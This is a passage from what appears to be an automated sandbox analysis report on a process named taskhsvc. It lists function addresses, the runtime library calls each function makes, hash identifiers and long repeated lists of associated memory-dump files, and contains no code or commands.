                                                                                                                          • String ID: $A$F2044413DAC2E02E3D6BCF4735A19BCA1DE97281
                                                                                                                          • API String ID: 4216919130-1983997094
                                                                                                                          • Opcode ID: 7bd24efe621c4c4c512b44fcb5094f7471969d885d5469b1018a1aafac7a412d
                                                                                                                          • Instruction ID: 112d4b64204b0c57b15a8ba81f4f4041722274610bb88d5f0b32172ee9aca3ef
                                                                                                                          • Opcode Fuzzy Hash: 7bd24efe621c4c4c512b44fcb5094f7471969d885d5469b1018a1aafac7a412d
                                                                                                                          • Instruction Fuzzy Hash: C5F0A4B4D042189FCB00DFA9C58169EBBF1FB48300F40D519E958AB301D378A8528FA5
                                                                                                                          Function 00BFA1FD Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 23COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00BE251F: abort.MSVCRT ref: 00BE256F
                                                                                                                            • Part of subcall function 00BE251F: __stack_chk_fail.LIBSSP-0 ref: 00BE2623
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BFA6FD
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort
                                                                                                                          • String ID: +$(#$(#
                                                                                                                          • API String ID: 646538096-4015393245
                                                                                                                          • Opcode ID: facb8f0ec11af088b9d6c80506e0d31b96b6a4af0248c2d55bd4949b5d101a46
                                                                                                                          • Instruction ID: 036e5ce30018cbd5bcc943d27aa2630a012374e6f0baf80105d1969569a1443f
                                                                                                                          • Opcode Fuzzy Hash: facb8f0ec11af088b9d6c80506e0d31b96b6a4af0248c2d55bd4949b5d101a46
                                                                                                                          • Instruction Fuzzy Hash: AFF0F8B09093049FC700EF68D085619FBF0FB48310F019999A58CA7301D3349984CF12
                                                                                                                          Function 00BFA184 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 20COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BFA6FD
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: #$ +$(#
                                                                                                                          • API String ID: 4216919130-2051309828
                                                                                                                          • Opcode ID: 80c3057ae6ff33bb2b101bb6e25c074054abd2514c84ced576061a735c754c02
                                                                                                                          • Instruction ID: 0c1b8f361ac4f299d170654e5924fa1ab90a2a676d6fcab58a3868abd026f0ce
                                                                                                                          • Opcode Fuzzy Hash: 80c3057ae6ff33bb2b101bb6e25c074054abd2514c84ced576061a735c754c02
                                                                                                                          • Instruction Fuzzy Hash: 36F039B1909308AFCB009F68E88A659BBF0AF48328F159599E69C5B282E3355944CF12
                                                                                                                          Function 00D2102B Relevance: 6.2, APIs: 4, Instructions: 155COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D2108F
                                                                                                                          • abort.MSVCRT ref: 00D210CE
                                                                                                                          • abort.MSVCRT ref: 00D21122
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D21237
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabort$strrchr
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2024191972-0
                                                                                                                          • Opcode ID: 6ab7c15be49457954b7e42f97691eee01bdc3034d88f864605b3692c9a936c30
                                                                                                                          • Instruction ID: 4cddfea21fca3c7fb133a113e1abfadabb1fb5e9bc9ccc57f434d219ef11c82e
                                                                                                                          • Opcode Fuzzy Hash: 6ab7c15be49457954b7e42f97691eee01bdc3034d88f864605b3692c9a936c30
                                                                                                                          • Instruction Fuzzy Hash: A37192B8A04219CFCB04DFA9D584AAEBBF0BF98304F05D859E858AB351D734E941CF61
                                                                                                                          Function 00BE7086 Relevance: 6.1, APIs: 4, Instructions: 118COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
